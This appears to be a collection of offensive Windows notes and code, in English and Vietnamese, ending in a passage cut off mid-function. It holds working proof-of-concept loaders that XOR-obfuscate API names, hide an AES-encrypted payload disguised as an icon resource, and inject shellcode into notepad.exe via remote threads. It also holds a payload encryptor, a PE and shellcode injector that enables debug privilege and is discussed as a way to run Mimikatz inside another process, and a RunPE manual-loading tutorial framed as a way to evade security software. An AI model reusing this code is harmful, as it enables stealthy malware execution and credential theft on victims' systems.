char sSizeofResource[] = { 0x3e, 0x10, 0x9, 0x0, 0xc, 0x14, 0x37, 0x11, 0x18, 0xa, 0x10, 0x17, 0xe, 0x1c };
char sVirtualAlloc[] = { 0x3b, 0x10, 0x1, 0x11, 0x16, 0x13, 0x9, 0x35, 0x7, 0x9, 0xa, 0x6 };
char sRtlMoveMemory[] = { 0x3f, 0xd, 0x1f, 0x28, 0xc, 0x4, 0x0, 0x39, 0xe, 0x8, 0xa, 0x17, 0x14 };
char sOpenProcess[] = { 0x22, 0x9, 0x16, 0xb, 0x33, 0x0, 0xa, 0x17, 0xe, 0x16, 0x16 };
char skernel32[] = "kernel32.dll";
char sNtdll[] = "Ntdll.dll";

char sCreateToolhelp32Snapshot[] = "CreateToolhelp32Snapshot";

int FindTarget(const char *procname) {

        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;

		XOR((char *) sProcess32First, sizeof(sProcess32First), key, sizeof(key));
		XOR((char *) sCloseHandle, sizeof(sCloseHandle), key, sizeof(key));
		XOR((char *) sProcess32Next, sizeof(sProcess32Next), key, sizeof(key));


		pProcess32First = GetProcAddress(GetModuleHandle(skernel32), sProcess32First);
		pCloseHandle = GetProcAddress(GetModuleHandle(skernel32), sCloseHandle);
		pProcess32Next = GetProcAddress(GetModuleHandle(skernel32), sProcess32Next);

		pCreateToolhelp32Snapshot = GetProcAddress(GetModuleHandle(skernel32), sCreateToolhelp32Snapshot);

                
        hProcSnap = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
                
        pe32.dwSize = sizeof(PROCESSENTRY32); 
                
        if (!pProcess32First(hProcSnap, &pe32)) {
                pCloseHandle(hProcSnap);
                return 0;
        }
                
        while (pProcess32Next(hProcSnap, &pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
                
        pCloseHandle(hProcSnap);
                
        return pid;
}

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

        LPVOID pRemoteCode = NULL;
        HANDLE hThread = NULL;		

		XOR((char *) sVirtualAllocEx, sizeof(sVirtualAllocEx), key, sizeof(key));
		XOR((char *) sWriteProcessMemory, sizeof(sWriteProcessMemory), key, sizeof(key));
		XOR((char *) sCreateRemoteThread, sizeof(sCreateRemoteThread), key, sizeof(key));
		XOR((char *) sWaitForSingleObject, sizeof(sWaitForSingleObject), key, sizeof(key));
		XOR((char *) sCloseHandle, sizeof(sCloseHandle), key, sizeof(key));

		pVirtualAllocEx = GetProcAddress(GetModuleHandle(skernel32), sVirtualAllocEx);
		pWriteProcessMemory = GetProcAddress(GetModuleHandle(skernel32), sWriteProcessMemory);
		pCreateRemoteThread = GetProcAddress(GetModuleHandle(skernel32), sCreateRemoteThread);
		pCloseHandle = GetProcAddress(GetModuleHandle(skernel32), sCloseHandle);
		pWaitForSingleObject = GetProcAddress(GetModuleHandle(skernel32), sWaitForSingleObject);

        pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
        pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
        
        hThread = pCreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE) pRemoteCode, NULL, 0, NULL);
        if (hThread != NULL) {
                pWaitForSingleObject(hThread, 500);
                pCloseHandle(hThread);
                return 0;
        }
        return -1;
}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
    LPSTR lpCmdLine, int nCmdShow){    

	void *exec_mem;
	BOOL rv;
	HANDLE th, hProc = NULL;
    DWORD oldprotect = 0;
	HGLOBAL resHandle = NULL;
	HRSRC res;
	
	int pid = 0;
	unsigned char * payload;
	unsigned int payload_len;

	XOR((char *) sFindResourceA, sizeof(sFindResourceA), key, sizeof(key));
	XOR((char *) sLoadResource, sizeof(sLoadResource), key, sizeof(key));
	XOR((char *) sSizeofResource, sizeof(sSizeofResource), key, sizeof(key));
	XOR((char *) sLockResource, sizeof(sLockResource), key, sizeof(key));
	XOR((char *) sVirtualAlloc, sizeof(sVirtualAlloc), key, sizeof(key));
	XOR((char *) sRtlMoveMemory, sizeof(sRtlMoveMemory), key, sizeof(key));

	pFindResource = GetProcAddress(GetModuleHandle(skernel32), sFindResourceA);
	pLoadResource = GetProcAddress(GetModuleHandle(skernel32), sLoadResource);
	pSizeofResource = GetProcAddress(GetModuleHandle(skernel32), sSizeofResource);
	pLockResource = GetProcAddress(GetModuleHandle(skernel32), sLockResource);
	pVirtualAlloc = GetProcAddress(GetModuleHandle(skernel32), sVirtualAlloc);
	pRtlMoveMemory = GetProcAddress(GetModuleHandle(sNtdll), sRtlMoveMemory);
	pOpenProcess = GetProcAddress(GetModuleHandle(sNtdll), sOpenProcess);

	res = pFindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
	resHandle = pLoadResource(NULL, res);
	payload = (unsigned char *) pLockResource(resHandle);
	payload_len = pSizeofResource(NULL, res);
	

	exec_mem = pVirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	pRtlMoveMemory(exec_mem, payload, payload_len);

	XOR((char *) exec_mem, payload_len, key, sizeof(key));

	pid = FindTarget("notepad.exe");
	printf("%d",pid);
	if (pid) {

		hProc = pOpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
						PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
						FALSE, (DWORD) pid);
		

		if (hProc != NULL) {
			Inject(hProc, exec_mem, payload_len);
			CloseHandle(hProc);
		}
	}
	return 0;
}

Encryptor

import sys
from Crypto.Cipher import AES
from os import urandom
import hashlib

KEY = '\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01'
def pad(s):
    pad_len = AES.block_size - len(s) % AES.block_size
    return s + bytes([pad_len] * pad_len)

def aesenc(plaintext, key):
    k = hashlib.sha256(key.encode('utf-8')).digest()
    iv = urandom(AES.block_size)
    plaintext = pad(plaintext)
    cipher = AES.new(k, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(plaintext)
    return iv + ciphertext

try:
    plaintext = open(sys.argv[1], "rb").read()
except:
    print("File argument needed! %s <raw payload file>" % sys.argv[0])
    sys.exit()

ciphertext = aesenc(plaintext, KEY)
open("msgBox.ico", "wb").write(ciphertext)
open("msgBox.bin", "wb").write(ciphertext)
print('AESkey[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in KEY) + ' };')
print('IV[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext[:16]) + ' };')
print('payload[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext[16:]) + ' };')

Full POC


#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include "resources.h"


#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")



HANDLE(WINAPI * pCreateToolhelp32Snapshot)(DWORD dwFlags, DWORD th32ProcessID); //Kernel32.dll
BOOL(WINAPI * pProcess32First)(HANDLE hSnapshot, LPPROCESSENTRY32 lppe); //Kernel32.dll
BOOL(WINAPI * pProcess32Next)(HANDLE hSnapshot, LPPROCESSENTRY32 lppe); //Kernel32.dll
BOOL(WINAPI * pVirtualProtectEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); //Kernel32.dll
LPVOID(WINAPI * pVirtualAllocEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); //Kernel32.dll

BOOL(WINAPI * pCloseHandle)(HANDLE hObject); //Kernel32.dll
BOOL(WINAPI * pWriteProcessMemory)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten); //Kernel32.dll
HANDLE(WINAPI * pCreateRemoteThread)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
DWORD(WINAPI * pWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds); //Kernel32.dll
HANDLE(WINAPI * pOpenProcess)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); //Kernel32.dll
HRSRC (WINAPI * pFindResource)(HMODULE hModule,LPCSTR  lpName,LPCSTR  lpType);//Kernel32.dll
HGLOBAL (WINAPI * pLoadResource)(HMODULE hModule,HRSRC hResInfo);//Kernel32.dll
LPVOID (WINAPI * pLockResource)(HGLOBAL hResData);//Kernel32.dll
DWORD (WINAPI * pSizeofResource)(HMODULE hModule,HRSRC hResInfo);//Kernel32.dll
VOID (WINAPI * pRtlMoveMemory)(VOID UNALIGNED *Destination,const VOID UNALIGNED *Source,SIZE_T  Length);//// Ntdll.dll
LPVOID (WINAPI * pVirtualAlloc)(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect);//Kernel32.dll



unsigned char key[] = "mysecretkeee";
unsigned char AESKEY[] = { 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1 };
unsigned char sVirtualAllocEx[] = { 0x3b, 0x10, 0x1, 0x11, 0x16, 0x13, 0x9, 0x35, 0x7, 0x9, 0xa, 0x6, 0x28, 0x1 };
unsigned char sWriteProcessMemory[] = { 0x3a, 0xb, 0x1a, 0x11, 0x6, 0x22, 0x17, 0x1b, 0x8, 0x0, 0x16, 0x16, 0x20, 0x1c, 0x1e, 0xa, 0x11, 0xb };
unsigned char sCreateRemoteThread[] = { 0x2e, 0xb, 0x16, 0x4, 0x17, 0x17, 0x37, 0x11, 0x6, 0xa, 0x11, 0x0, 0x39, 0x11, 0x1, 0x0, 0x2, 0x16 };
unsigned char sProcess32First[] = { 0x3d, 0xb, 0x1c, 0x6, 0x6, 0x1, 0x16, 0x47, 0x59, 0x23, 0xc, 0x17, 0x1e, 0xd };
unsigned char sCloseHandle[] = { 0x2e, 0x15, 0x1c, 0x16, 0x6, 0x3a, 0x4, 0x1a, 0xf, 0x9, 0x0 };
unsigned char sProcess32Next[] = { 0x3d, 0xb, 0x1c, 0x6, 0x6, 0x1, 0x16, 0x47, 0x59, 0x2b, 0x0, 0x1d, 0x19 };
unsigned char sWaitForSingleObject[] = { 0x3a, 0x18, 0x1a, 0x11, 0x25, 0x1d, 0x17, 0x27, 0x2, 0xb, 0x2, 0x9, 0x8, 0x36, 0x11, 0xf, 0x6, 0x11, 0x11 };
unsigned char sFindResourceA[] = { 0x2b, 0x10, 0x1d, 0x1, 0x31, 0x17, 0x16, 0x1b, 0x1e, 0x17, 0x6, 0x0, 0x2c };
unsigned char sLoadResource[] = { 0x21, 0x16, 0x12, 0x1, 0x31, 0x17, 0x16, 0x1b, 0x1e, 0x17, 0x6, 0x0 };
unsigned char sLockResource[] = { 0x21, 0x16, 0x10, 0xe, 0x31, 0x17, 0x16, 0x1b, 0x1e, 0x17, 0x6, 0x0 };
unsigned char sSizeofResource[] = { 0x3e, 0x10, 0x9, 0x0, 0xc, 0x14, 0x37, 0x11, 0x18, 0xa, 0x10, 0x17, 0xe, 0x1c };
unsigned char sVirtualAlloc[] = { 0x3b, 0x10, 0x1, 0x11, 0x16, 0x13, 0x9, 0x35, 0x7, 0x9, 0xa, 0x6 };
unsigned char sRtlMoveMemory[] = { 0x3f, 0xd, 0x1f, 0x28, 0xc, 0x4, 0x0, 0x39, 0xe, 0x8, 0xa, 0x17, 0x14 };
unsigned char sOpenProcess[] = { 0x22, 0x9, 0x16, 0xb, 0x33, 0x0, 0xa, 0x17, 0xe, 0x16, 0x16 };
unsigned char skernel32[] = "kernel32.dll";
unsigned char sNtdll[] = "Ntdll.dll";

unsigned char sCreateToolhelp32Snapshot[] = "CreateToolhelp32Snapshot";
int FindTarget(const char *procname) ;
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len);
void XOR(char * data, size_t data_len, char * key, size_t key_len);
int AESDecrypt(char * payload, size_t payload_len, char * key, size_t keylen);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
    LPSTR lpCmdLine, int nCmdShow){    

	void *exec_mem;
	BOOL rv;
	HANDLE th, hProc = NULL;
    DWORD oldprotect = 0;
	HGLOBAL resHandle = NULL;
	HRSRC res;
	
	int pid = 0;
	unsigned char * payload;
	unsigned int payload_len;

	XOR((unsigned char *) sFindResourceA, sizeof(sFindResourceA), key, sizeof(key));
	XOR((unsigned char *) sLoadResource, sizeof(sLoadResource), key, sizeof(key));
	XOR((unsigned char *) sSizeofResource, sizeof(sSizeofResource), key, sizeof(key));
	XOR((unsigned char *) sLockResource, sizeof(sLockResource), key, sizeof(key));
	XOR((unsigned char *) sVirtualAlloc, sizeof(sVirtualAlloc), key, sizeof(key));
	XOR((unsigned char *) sRtlMoveMemory, sizeof(sRtlMoveMemory), key, sizeof(key));

	pFindResource = GetProcAddress(GetModuleHandle(skernel32), sFindResourceA);
	pLoadResource = GetProcAddress(GetModuleHandle(skernel32), sLoadResource);
	pSizeofResource = GetProcAddress(GetModuleHandle(skernel32), sSizeofResource);
	pLockResource = GetProcAddress(GetModuleHandle(skernel32), sLockResource);
	pVirtualAlloc = GetProcAddress(GetModuleHandle(skernel32), sVirtualAlloc);
	pRtlMoveMemory = GetProcAddress(GetModuleHandle(sNtdll), sRtlMoveMemory);

	res = pFindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
	resHandle = pLoadResource(NULL, res);
	payload = (unsigned char *) pLockResource(resHandle);
	payload_len = pSizeofResource(NULL, res);
	



	exec_mem = pVirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	pRtlMoveMemory(exec_mem, payload, payload_len);
	AESDecrypt((char *) exec_mem, payload_len, AESKEY, sizeof(AESKEY));
	char *execMem = (char *) exec_mem + 16;
	printf("%-20s : 0x%-016p\n", "exec addr", (void *)execMem);

	pid = FindTarget("notepad.exe");

	if (pid) {

		hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
						PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
						FALSE, (DWORD) pid);
		

		if (hProc != NULL) {
			Inject(hProc, execMem, payload_len);
			CloseHandle(hProc);
		}
	}
	return 0;
}

int FindTarget(const char *procname) {

        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;

		XOR((unsigned char *) sProcess32First, sizeof(sProcess32First), key, sizeof(key));
		XOR((unsigned char *) sCloseHandle, sizeof(sCloseHandle), key, sizeof(key));
		XOR((unsigned char *) sProcess32Next, sizeof(sProcess32Next), key, sizeof(key));


		pProcess32First = GetProcAddress(GetModuleHandle(skernel32), sProcess32First);
		pCloseHandle = GetProcAddress(GetModuleHandle(skernel32), sCloseHandle);
		pProcess32Next = GetProcAddress(GetModuleHandle(skernel32), sProcess32Next);

		pCreateToolhelp32Snapshot = GetProcAddress(GetModuleHandle(skernel32), sCreateToolhelp32Snapshot);

                
        hProcSnap = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
                
        pe32.dwSize = sizeof(PROCESSENTRY32); 
                
        if (!pProcess32First(hProcSnap, &pe32)) {
                pCloseHandle(hProcSnap);
                return 0;
        }
                
        while (pProcess32Next(hProcSnap, &pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
                
        pCloseHandle(hProcSnap);
                
        return pid;
}

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

        LPVOID pRemoteCode = NULL;
        HANDLE hThread = NULL;		

		XOR((unsigned char *) sVirtualAllocEx, sizeof(sVirtualAllocEx), key, sizeof(key));
		XOR((unsigned char *) sWriteProcessMemory, sizeof(sWriteProcessMemory), key, sizeof(key));
		XOR((unsigned char *) sCreateRemoteThread, sizeof(sCreateRemoteThread), key, sizeof(key));
		XOR((unsigned char *) sWaitForSingleObject, sizeof(sWaitForSingleObject), key, sizeof(key));
		XOR((unsigned char *) sCloseHandle, sizeof(sCloseHandle), key, sizeof(key));

		pVirtualAllocEx = GetProcAddress(GetModuleHandle(skernel32), sVirtualAllocEx);
		pWriteProcessMemory = GetProcAddress(GetModuleHandle(skernel32), sWriteProcessMemory);
		pCreateRemoteThread = GetProcAddress(GetModuleHandle(skernel32), sCreateRemoteThread);
		pCloseHandle = GetProcAddress(GetModuleHandle(skernel32), sCloseHandle);
		pWaitForSingleObject = GetProcAddress(GetModuleHandle(skernel32), sWaitForSingleObject);

        pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
        pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
        
        hThread = pCreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE) pRemoteCode, NULL, 0, NULL);
        if (hThread != NULL) {
                pWaitForSingleObject(hThread, 500);
                pCloseHandle(hThread);
                return 0;
        }
        return -1;
}

void XOR(char * data, size_t data_len, char * key, size_t key_len){
	int j;
	
	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
}

int AESDecrypt(char * payload, size_t payload_len, char * key, size_t keylen) {
        HCRYPTPROV hProv;
        HCRYPTHASH hHash;
        HCRYPTKEY hKey;

        if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
                return -1;
        }
        if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
                return -1;
        }
        if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
                return -1;              
        }
        if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
                return -1;
        }
        
        if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
                return -1;
        }
        
        CryptReleaseContext(hProv, 0);
        CryptDestroyHash(hHash);
        CryptDestroyKey(hKey);
        
        return 0;
}

Remote PE Loading

Sat, 22 Jan 2022 00:00:00 GMT

Open the Target Process: Similar to loading a PE file, use OpenProcess.
Allocate Memory for Shellcode: Use VirtualAllocEx to allocate memory in the target process for the shellcode.
Write the Shellcode into the Target Process: Use WriteProcessMemory to write the shellcode into the allocated memory.
Create a Remote Thread to Execute the Shellcode: Use CreateRemoteThread to execute the shellcode in the target process.

I’ve successfully managed self-loading of a PE executable file, yet I encounter difficulties when attempting to inject a standard PE file into another process, such as embedding Mimikatz into the notepad.exe process.

Full POC

#include <windows.h>
#include <iostream>
#include <fstream>
#include <string>
#include <vector>

bool LoadPeIntoProcess(DWORD pid, const std::string& pePath) {

   HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
   if (hProcess == NULL) {
       std::cerr << "Failed to open process. Error: " << GetLastError() << std::endl;
       return false;
   }

  std::ifstream file(pePath, std::ios::binary | std::ios::ate);
   if (!file) {
       std::cerr << "Failed to open file." << std::endl;
       CloseHandle(hProcess);
       return false;
   }

   std::streamsize size = file.tellg();
   file.seekg(0, std::ios::beg);

   char* buffer = new char[size];
   if (!file.read(buffer, size)) {
       std::cerr << "Failed to read file." << std::endl;
       delete[] buffer;
       CloseHandle(hProcess);
       return false;
   }

   SIZE_T bufferSize = static_cast<SIZE_T>(size);

   LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, bufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
   if (remoteBuffer == NULL) {
       std::cerr << "Failed to allocate memory in process. Error: " << GetLastError() << std::endl;
       delete[] buffer;
       CloseHandle(hProcess);
       return false;
   }

   if (!WriteProcessMemory(hProcess, remoteBuffer, buffer, bufferSize, NULL)) {
       std::cerr << "Failed to write to process memory. Error: " << GetLastError() << std::endl;
       VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
       delete[] buffer;
       CloseHandle(hProcess);
       return false;
   }

   HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, remoteBuffer, 0, NULL);
   if (hThread == NULL) {
       std::cerr << "Failed to create remote thread. Error: " << GetLastError() << std::endl;
       VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
       delete[] buffer;
       CloseHandle(hProcess);
       return false;
   }

   CloseHandle(hThread);
   CloseHandle(hProcess);
   delete[] buffer;

   return true;
}

// Function to read shellcode from a file
std::vector<char> ReadShellcodeFromFile(const std::string& filePath) {
   std::ifstream file(filePath, std::ios::binary | std::ios::ate);
   std::streamsize size = file.tellg();
   file.seekg(0, std::ios::beg);

   std::vector<char> buffer(size);
   if (file.read(buffer.data(), size)) {
       return buffer;
   }
   else {
       std::cerr << "Failed to read shellcode from file." << std::endl;
       return {};
   }
}

bool InjectShellcode(DWORD pid, const std::vector<char>& shellcode) {
   HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
   if (hProcess == NULL) {
       std::cerr << "Failed to open process." << std::endl;
       return false;
   }

   LPVOID pRemoteShellcode = VirtualAllocEx(hProcess, NULL, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
   if (pRemoteShellcode == NULL) {
       std::cerr << "Failed to allocate memory in the target process." << std::endl;
       CloseHandle(hProcess);
       return false;
   }

   SIZE_T bytesWritten;
   if (!WriteProcessMemory(hProcess, pRemoteShellcode, shellcode.data(), shellcode.size(), &bytesWritten)) {
       std::cerr << "Failed to write shellcode into the target process." << std::endl;
       VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
       CloseHandle(hProcess);
       return false;
   }

   HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteShellcode, NULL, 0, NULL);
   if (hThread == NULL) {
       std::cerr << "Failed to create remote thread." << std::endl;
       VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
       CloseHandle(hProcess);
       return false;
   }

   CloseHandle(hThread);
   CloseHandle(hProcess);
   return true;
}
void setDebugPrivilege() {
   HANDLE hToken;
   LUID luid;
   TOKEN_PRIVILEGES tkp;

   if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
   	std::cerr << "OpenProcessToken failed." << std::endl;
   	return;
   }

   if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
   	std::cerr << "LookupPrivilegeValue failed." << std::endl;
   	CloseHandle(hToken);
   	return;
   }

   tkp.PrivilegeCount = 1;
   tkp.Privileges[0].Luid = luid;
   tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

   if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {
   	std::cerr << "AdjustTokenPrivileges failed." << std::endl;
   }

   CloseHandle(hToken);
}
int main(int argc, char* argv[]) {
   if (argc < 4) {
       std::cerr << "Usage: " << argv[0] << " <PID> -s <ShellcodeFilePath> or -p <PEFilePath>" << std::endl;
       return 1;
   }

   DWORD pid = atoi(argv[1]);
   std::string option = argv[2];
   std::string input = argv[3];
   setDebugPrivilege();
   if (option == "-s") {
       std::vector<char> shellcode = ReadShellcodeFromFile(input);
       if (!shellcode.empty()) {
           InjectShellcode(pid, shellcode);
       }
   }
   else if (option == "-p") {
       LoadPeIntoProcess(pid, input);
   }
   else {
       std::cerr << "Invalid option. Use -s for shellcode file path or -p for PE file path." << std::endl;
       return 1;
   }

   return 0;
}

The Dark Arts of PE Loading in Windows

Sat, 22 Jan 2022 00:00:00 GMT

Giới thiệu

Thông thường, khi chúng ta chạy một chương trình .exe hoặc nạp một thư viện .dll, hệ điều hành Windows sẽ thay chúng ta xử lý mọi thứ: từ việc đọc file trên đĩa, cấp phát bộ nhớ, nạp mã máy, đến việc khởi chạy chương trình. Tất cả được thực hiện thông qua các hàm như CreateProcess, LoadLibrary hoặc ShellExecute.

Nhưng điều gì sẽ xảy ra nếu chúng ta không thể – hoặc không muốn – sử dụng những hàm này? Trong một số tình huống đặc biệt như:

Chúng ta muốn chạy chương trình từ bộ nhớ mà không cần ghi ra đĩa.
Cần ẩn hành vi thực thi khỏi phần mềm bảo mật.
Hoặc đơn giản là muốn hiểu rõ cách Windows thực sự hoạt động bên trong. ... thì RunPE sẽ là một lựa chọn mạnh mẽ.

PEB là gì?

Khi nhắc tới việc không gọi WinAPI trực tiếp chúng ta không thể nào không nhắc tới PEB. Vậy PEB là gì? PEB (Process Environment Block) là một cấu trúc dữ liệu nội bộ của Windows, lưu trữ thông tin về process đang chạy. Nó tồn tại trong không gian bộ nhớ của mỗi process và được hệ điều hành sử dụng để quản lý process đó. Tuy không được document công khai đầy đủ bởi Microsoft nhưng chúng ta có thể tra trong winternl.h hoặc Reverse từ ntdll.dll.

Manual PE Loading

Thay vì nhờ hệ điều hành nạp và thực thi chương trình, chúng ta sẽ tự mình đảm nhiệm vai trò đó. Cụ thể, chúng ta sẽ:

File Loading

CreateFileA -> VirtualAlloc

Mở file PE
Lấy file size
Allocate memory với PAGE_READWRITE
Đọc toàn bộ file vào memory: sẽ có 2 phương pháp 1 là chúng ta có thể đọc file vào memory, 2 là chúng ta có thể dùng CreateFileMappingA và MapViewOfFile. 🔸 Memory Mapping: Dùng CreateFileMapping + MapViewOfFile (Windows API) để ánh xạ nội dung file vào không gian địa chỉ ảo của process.

HANDLE hFile = CreateFile(...);
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
LPVOID pData = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);

🔸 ReadFile: Dùng các hàm như ReadFile, fread, ifstream.read() để đọc nội dung file thành từng khối vào buffer bộ nhớ.

HANDLE hFile = CreateFile(...);
ReadFile(hFile, buffer, size, &bytesRead, NULL);

Áp dụng kĩ thuật file maping ta có:

class FileMap {
public:
    explicit FileMap(const std::string& path) {
        file_ = CreateFileA(path.c_str(), GENERIC_READ, FILE_SHARE_READ, nullptr,
            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
        if (file_ == INVALID_HANDLE_VALUE) {
            std::cerr << "[FileMap] Cannot open " << path << " (" << GetLastError() << ")\n";
            return;
        }
        size_ = GetFileSize(file_, nullptr);
        mapping_ = CreateFileMappingA(file_, nullptr, PAGE_READONLY, 0, 0, nullptr);
        if (!mapping_) {
            std::cerr << "[FileMap] CreateFileMapping failed (" << GetLastError() << ")\n";
            return;
        }
        view_ = MapViewOfFile(mapping_, FILE_MAP_READ, 0, 0, 0);
        if (!view_) {
            std::cerr << "[FileMap] MapViewOfFile failed (" << GetLastError() << ")\n";
        }
    }
    ~FileMap() {
        if (view_)    UnmapViewOfFile(view_);
        if (mapping_) CloseHandle(mapping_);
        if (file_ != INVALID_HANDLE_VALUE) CloseHandle(file_);
    }
    [[nodiscard]] bool        valid() const { return view_ != nullptr; }
    [[nodiscard]] const void* data()  const { return view_; }
    [[nodiscard]] DWORD       size()  const { return size_; }

private:
    HANDLE file_{ INVALID_HANDLE_VALUE };
    HANDLE mapping_{ nullptr };
    LPVOID view_{ nullptr };
    DWORD  size_{ 0 };
};

Return pointer và file size

Fix IAT:

bool resolveImports() {
    auto& dir = nt_->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    if (!dir.Size) return true;
    auto imp = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(util::rvaToPtr(image_, dir.VirtualAddress));
    while (imp->Name) {
        const char* dllName = reinterpret_cast<char*>(util::rvaToPtr(image_, imp->Name));
        HMODULE dll = LoadLibraryA(dllName);
        if (!dll) { std::cerr << "[!] Cannot load " << dllName << "\n"; return false; }
        auto thunk = reinterpret_cast<PIMAGE_THUNK_DATA>(util::rvaToPtr(image_, imp->FirstThunk));
        auto orig = reinterpret_cast<PIMAGE_THUNK_DATA>(util::rvaToPtr(image_, imp->OriginalFirstThunk ? imp->OriginalFirstThunk : imp->FirstThunk));
        for (; orig->u1.AddressOfData; ++orig, ++thunk) {
            FARPROC fp;
            if (IMAGE_SNAP_BY_ORDINAL(orig->u1.Ordinal)) {
                fp = GetProcAddress(dll, MAKEINTRESOURCEA(IMAGE_ORDINAL(orig->u1.Ordinal)));
            }
            else {
                auto ibn = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(util::rvaToPtr(image_, orig->u1.AddressOfData));
                fp = (std::strcmp("ExitProcess", ibn->Name) == 0) ? reinterpret_cast<FARPROC>(&ExitProcessHook)
                    : GetProcAddress(dll, ibn->Name);
            }
            thunk->u1.Function = reinterpret_cast<ULONGLONG>(fp);
        }
        ++imp;
    }
    return true;
}

Tìm Import Table: Từ DataDirectory[1]
Duyệt từng DLL: kernel32.dll, user32.dll, etc.
Load DLL: LoadLibraryA()
Resolve Functions: GetProcAddress()
Update FirstThunk: Ghi địa chỉ function vào IAT
Special Handling: Intercept ExitProcess

Fix Reloc:

Thực hiện relocation khi PE không load tại preferred base address

Delta: Difference giữa actual và preferred base
Fix addresses: Cộng delta vào các absolute addresses

bool relocate() {
